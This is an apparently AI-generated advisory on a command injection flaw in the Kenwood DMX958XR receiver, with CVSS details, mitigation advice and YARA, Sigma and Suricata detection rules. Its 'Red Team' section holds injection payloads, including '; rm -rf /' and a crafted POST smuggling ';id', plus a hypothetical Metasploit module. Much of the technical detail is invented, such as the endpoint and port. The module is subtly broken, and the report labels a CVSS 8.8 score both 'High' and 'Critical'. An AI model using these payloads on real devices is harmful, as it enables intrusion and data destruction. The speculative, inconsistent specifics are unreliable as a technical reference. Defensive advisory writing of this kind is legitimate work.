CVE-2025-8654

Executive Summary

CVE-2025-8654 is a critical command injection vulnerability in the Kenwood DMX958XR car multimedia receiver. The flaw resides in the ReadMVGImage function, which improperly validates user-supplied strings before using them in a system call. An unauthenticated, network-adjacent attacker can exploit this to execute arbitrary commands as root. The vulnerability has a CVSS score of 8.8, indicating high severity. No patch is currently available, and no public exploit code has been released. This report provides a comprehensive technical analysis, detection guidance, and mitigation strategies.

CVSS Breakdown & Threat Level

• CVSS Score: 8.8 (High)
• Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Attack Vector (AV): Adjacent Network – The attacker must be on the same local network (e.g., Wi-Fi or Bluetooth) as the target device.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – Authentication is not needed.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Full read access to device data.
• Integrity (I): High – Full write access to device data.
• Availability (A): High – Full control over device operations.

Threat Level: Critical. The combination of no authentication, low complexity, and root-level code execution makes this a high-priority vulnerability for owners of Kenwood DMX958XR devices.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection (CWE-78) within the ReadMVGImage function. This function is likely used to parse or display MVG (Magick Vector Graphics) image files. The flaw occurs when the function processes a user-supplied string (e.g., a filename or metadata) without proper sanitization. This string is then concatenated into a system command (e.g., using system(), popen(), or similar) and executed.

Attack Flow:

1. The attacker sends a specially crafted network packet (e.g., via HTTP, UPnP, or a proprietary protocol) to the Kenwood device.
2. The packet contains a malicious string that includes command injection payloads (e.g., ; rm -rf / or $(malicious_command)).
3. The ReadMVGImage function receives this string and passes it to a system call without validation.
4. The injected commands are executed with root privileges, giving the attacker full control over the device.

Root Cause: Lack of input validation and failure to use safe APIs (e.g., execve() with argument arrays) instead of shell-based command execution.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is hypothetical but based on the CVE description.

Vulnerable Code (C-like pseudocode):

void ReadMVGImage(char *user_input) {
    char cmd[512];
    snprintf(cmd, sizeof(cmd), "convert %s /tmp/output.png", user_input);
    system(cmd);
}

Patched Code (Hypothetical):

void ReadMVGImage(char *user_input) {
    // Validate input: allow only alphanumeric and specific characters
    if (!is_valid_filename(user_input)) {
        log_error("Invalid input");
        return;
    }
    // Use execve with argument array to avoid shell injection
    char *args[] = {"convert", user_input, "/tmp/output.png", NULL};
    execve("/usr/bin/convert", args, NULL);
}

The patched version validates the input against a whitelist and uses execve() instead of system(), preventing shell interpretation of special characters.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to the Kenwood DMX958XR (e.g., same Wi-Fi network).
• No authentication required.

Exploit Concept: Since no public exploit exists, a proof-of-concept would involve sending a crafted network packet to the device's vulnerable service. The payload would be injected into the ReadMVGImage function.

Example Payload (HTTP POST request):

POST /upload HTTP/1.1
Host: 192.168.1.100
Content-Type: application/x-www-form-urlencoded

image=test.mvg;id

If the device processes the image parameter in ReadMVGImage, the command id would be executed.

Metasploit Module (Hypothetical):

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Kenwood DMX958XR ReadMVGImage Command Injection',
      'Description' => 'Exploits a command injection in ReadMVGImage',
      'Author'      => ['Security Researcher'],
      'References'  => [['CVE', '2025-8654']],
      'Platform'    => 'unix',
      'Targets'     => [['Automatic', {}]],
      'Payload'     => {'BadChars' => "\x00"},
      'DisclosureDate' => '2025-01-01'
    ))

    register_options([
      Opt::RHOST(),
      Opt::RPORT(80)
    ])
  end

  def exploit
    payload = ";#{payload.encoded}"
    send_request_cgi({
      'method' => 'POST',
      'uri'    => '/upload',
      'data'   => "image=test.mvg#{payload}"
    })
  end
end

Blue Team (Defense & Detection)

Detection Strategy:

• Monitor network traffic for unusual strings in HTTP requests or other protocols, especially those containing shell metacharacters (;, |, $(), `).
• Enable logging on the Kenwood device (if available) and monitor for unexpected system calls or process executions.
• Use network segmentation to isolate the device from untrusted networks.

Honeypot Setup:

• Deploy a fake Kenwood DMX958XR service that logs all incoming requests. Analyze logs for injection attempts.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests containing shell metacharacters in parameters (e.g., image=test.mvg;id).
  • Outbound connections from the device to unknown IP addresses (post-exploitation C2).
• Host IOCs:
  • Unexpected processes running as root (e.g., /bin/sh, /tmp/exploit).
  • Modified system files or binaries.
  • Unusual log entries in /var/log/syslog or similar.

Detection Engineering

YARA Rule

rule CVE_2025_8654_Kenwood_CommandInjection {
    meta:
        description = "Detects command injection attempts targeting Kenwood DMX958XR ReadMVGImage"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-8654"
    strings:
        $injection1 = /image=[^&]*[;|`$()]/
        $injection2 = /ReadMVGImage.*[;|`$()]/
    condition:
        any of them
}

Sigma Rule

title: Kenwood DMX958XR Command Injection Attempt
id: 8a4b6c2d-1e3f-4a5b-8c7d-9e0f1a2b3c4d
status: experimental
description: Detects network requests containing shell metacharacters targeting Kenwood DMX958XR
author: Valters IT
date: 2025-01-01
logsource:
    category: network
    product: suricata
detection:
    selection:
        http.uri|contains: 
            - ';'
            - '|'
            - '$('
            - '`'
        http.hostname|contains: 'kenwood'
    condition: selection
falsepositives:
    - Legitimate use of special characters in filenames (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-8654 Kenwood DMX958XR Command Injection Attempt"; flow:to_server; content:"image="; nocase; pcre:"/image=[^&]*[;|`$()]/Ri"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disconnect from untrusted networks: If possible, isolate the Kenwood device from networks that are not strictly controlled.
2. Disable vulnerable services: If the device allows disabling the service that uses ReadMVGImage, do so.
3. Monitor for updates: Check Kenwood's official support page for firmware updates. Since no patch is available, this is a waiting game.

Long-term Mitigation:

• Network segmentation: Place the device on a separate VLAN with strict firewall rules.
• Input validation: If you have access to the device's configuration, ensure any user-supplied data is sanitized (though this is unlikely).
• Replace device: Consider replacing the device with a more secure alternative if a patch is not released.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.